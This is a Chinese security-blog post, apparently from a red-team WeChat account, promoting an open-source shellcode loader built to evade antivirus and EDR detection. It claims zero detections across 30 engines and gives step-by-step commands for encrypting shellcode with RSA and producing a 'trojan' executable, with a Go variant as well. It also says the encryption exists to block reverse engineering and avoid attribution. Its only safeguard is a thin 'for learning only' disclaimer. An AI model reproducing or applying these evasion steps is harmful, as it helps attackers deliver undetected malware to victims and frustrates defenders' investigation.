专栏名称: Khan安全攻防实验室

安全不是一个人，我们来自五湖四海。研究方向Web内网渗透，免杀技术，红蓝攻防对抗，CTF。

2023.11.15 免杀30，DF，火，咔吧，M咖啡

Khan安全攻防实验室 · 公众号 · · 2023-11-20 08:29

正文

这是一个基于纯汇编语言绕过动/静态检测的Shellcode Loader，也可以直接当做免杀使用，使用了2048位秘钥的RSA进行防止逆向，可以有效避免被溯源，当然，需要携带秘钥作为启动参数

首先准备好一段shellcode（RAW编码）保存在aaa.bin（命名随意）中，然后使用UBypass进行加密，如下

PS D:\Data\fixable\code\WindowsShellcodeInjector\Release> .\WindowsShellcodeInjector.exe .\calc.bin[*] Generated Private Key => gPT6SIbOa;od,u`vbg/;:kcS;k+=S%@ob]Cz&~\<=[*] Your Padding Original Shellcode Size is 280[*] Your Padding Encrypted Shellcode Size is 560[*] Your Encrypted Shellcode is f30d0f241eafbe062451e23a3ede47419f06cbc36802ea49e23beb1caaa3dc008f4fa95bf85cc18235383bc8593411345e4485af8cd58a52e9500e0d5664760a99d5ef9d0727d70d582563959b016b1c2069a149cdddcd5fc

随后会在当前文件夹生成一个Kawaii.exe即为携带了你的shellcode的马子，使用的时候加上私钥即可，如下

PS D:\Data\fixable\code\WindowsShellcodeInjector\Release> .\Kawaii.exe 'gPT6SIbOa;od,u`vbg/;:kcS;k+=S%@ob]Cz&~\<='

使用golang加载DLL

使用方法如下

如果你不喜欢默认的C++加载器，你也可以使用golang加载器，毕竟C++的特征过于明显，很容易被杀软检测到，使用方法如下

首先你需要将本项目编译为DLL
使用go编译go_bundle.go生成木马文件

go run go_bundle.go muma

其中muma为生成的木马文件名，可以自定义，具体建议看代码

将生成的木马文件和DLL文件放在同一目录下，然后运行木马文件即可

免责声明

本项目仅供学习交流使用，请勿用于非法用途，否则后果自负，与本公众号无关

项目地址：

https://github.com/Yeuoly/0xUBypass

推荐文章

为你读诗 · 花草有本心：走近古典文学中的诗意世界

8 小时前

收获 · 第八届郁达夫奖揭晓，《收获》刊载的黎紫书《一个陌生女人的来信》、韩松落《鱼缸与霞光》获得中篇小说奖

4 天前

当代 · 赵晨：烧灯续昼，以及观察者的技术丨“新人四重奏”小辑综评

4 天前

为你读诗 · 像花一样尽情开放，忠于自己成为自己

5 天前

收获 · 杜阳林长篇《立秋》：我愿意写出“过尽千帆”的清醒审视，写出“无愧我心”的赤子情怀

1 周前

IF · 今年最后一次让同事刮目相看的机会...

7 年前

盖世汽车每日速递 · 股价下滑近40% 福特汽车CEO被炒鱿鱼

7 年前

招商研究 · 招商有色金属·刘文平/刘伟洁/黄昱颖：云铝股份（000807）—受益电解铝供给侧改革红利业绩前景可观

7 年前

IT大咖说 · 直播 | 独家揭秘：2017中国人工智能与机器人创新大会

7 年前

武汉大学学生会 · 校会风采｜与礼相随，一秋缤纷——礼仪与形象推广部

7 年前

2023.11.15 免杀3*0，DF，火*，咔吧，M咖啡

正文

首先准备好一段shellcode（RAW编码）保存在aaa.bin（命名随意）中，然后使用UBypass进行加密，如下

使用golang加载DLL

免责声明

2023.11.15 免杀30，DF，火，咔吧，M咖啡